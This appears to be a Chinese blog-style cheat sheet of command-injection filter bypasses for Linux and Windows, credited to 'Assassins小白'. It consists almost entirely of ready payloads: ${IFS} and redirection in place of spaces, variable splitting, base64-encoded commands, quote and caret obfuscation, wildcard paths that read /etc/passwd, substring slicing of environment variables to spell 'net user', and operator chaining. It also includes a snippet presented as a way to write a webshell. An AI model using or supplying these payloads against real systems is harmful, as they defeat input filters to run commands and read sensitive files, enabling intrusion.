命令执行bypass总结

少年需有凌云志,不负黄河万古流


Linux

替换空格

1
cat${IFS}flag.txt

Assassins小白

1
cat$IFS$9flag.txt

Assassins小白

1
cat<flag.txt

Assassins小白

1
cat<>flag.txt

Assassins小白

利用变量绕过

1
a=c;b=at;$a$b flag.txt

Assassins小白

1
a=w;b=h;c=o;d=a;e=m;f=i;$a$b$c$d$e$f

Assassins小白

利用base编码绕过

1
`echo 'Y2F0Cg==' | base64 -d` flag.txt

Assassins小白

连接符截断绕过

1
c'a't flag.txt

Assassins小白

1
c\at flag.txt

Assassins小白

1
ca$@t flag.txt

Assassins小白

1
wh$1oami

Assassins小白

1
whoa$*mi

Assassins小白

通配符绕过

在Linux里?可以代替一个任意字符

1
/???/[l-n]s		//可以代替ls

Assassins小白

1
/???/c?t flag.txt	//可代替cat flag.txt

Assassins小白

1
/???/c?t /???/p?????	//可代替cat /etc/passwd

Assassins小白

星号 * 在linux中用来代表一个或多个任何字符,包括空字符

1
/*/bin/wh*i

Assassins小白

?* 组合使用

1
/???/c?t /e??/p*d

Assassins小白

1
2
w`\saldkj2190`ho`\12wsa2`am`\foj11`i
wh$(70shuai)oa$(fengfeng)mi

Windows

符号与命令的绕过

在看一个例子开始之前,首先了解一点, " ^ 和成对的圆括号 () 符号并不会影响命令的执行。在windows环境下,命令可以不区分大小写

1
((((Wh^o^am""i))))

Assassins小白

1
w"h"o"a"m"i

Assassins小白

1
wh""o^a^mi"

Assassins小白

可以加无数个 但不能同时连续加2个 ^ 符号,因为 ^ 号是cmd中的转义符,跟在他后面的符号会被转义

set命令和windows变量的绕过

set命令可以用来设置一个变量

变量使用%%包裹

1
2
set xb=1111
echo %xb%

Assassins小白

1
2
set a=whoami
%a%

Assassins小白

1
2
3
set a=wh""o
set b=a^mi"
%a%%b%

Assassins小白

切割字符串绕过

1
%a:~0%		//取出变量a中的所有字符

Assassins小白

1
%a:~0,6%	//取出a的值,从第0个位置开始,取6个值

Assassins小白

电脑上的环境变量还是挺多的,那我几乎可以用这种方式执行任何命令,因为这些变量的值,几乎都有26个字母在了
从简单的开始,如果命令执行不允许空格,被过滤,那么可以用如下方法

1
net%CommonProgramFiles:~10,1%user

Assassins小白

还可以配合其他符号一起使用

1
n^et%CommonProgramFiles:~10,1%us^er

Assassins小白

我们可以通过这种方式给网站写个webshell

1
2
set mm=a lvehpp?G
echo %mm:~4,1%%mm:~3,1%%mm:~0,1%%mm:~2,1%

Assassins小白

逻辑运算符绕过

使用 | 符号分隔两条命令,只会执行后面那条命令

1
ping baidu.com -n 1 | w""h^o^a^m^i

Assassins小白

|| 符号的情况下,只有前面的命令失败,才会执行后面的语句

1
ping a || whoami

Assassins小白

& 符号,不管前面的命令是成功还是失败,都会执行后面的命令

1
ping 127.0.0.1 -n 1 & whoami

Assassins小白

&& 符号就必须两条命令都为真才可以了

1
ping baidu.com -n 1 && whoami

Assassins小白

https://mp.weixin.qq.com/s/FqIbIZmSGp9CcX6buIOGSA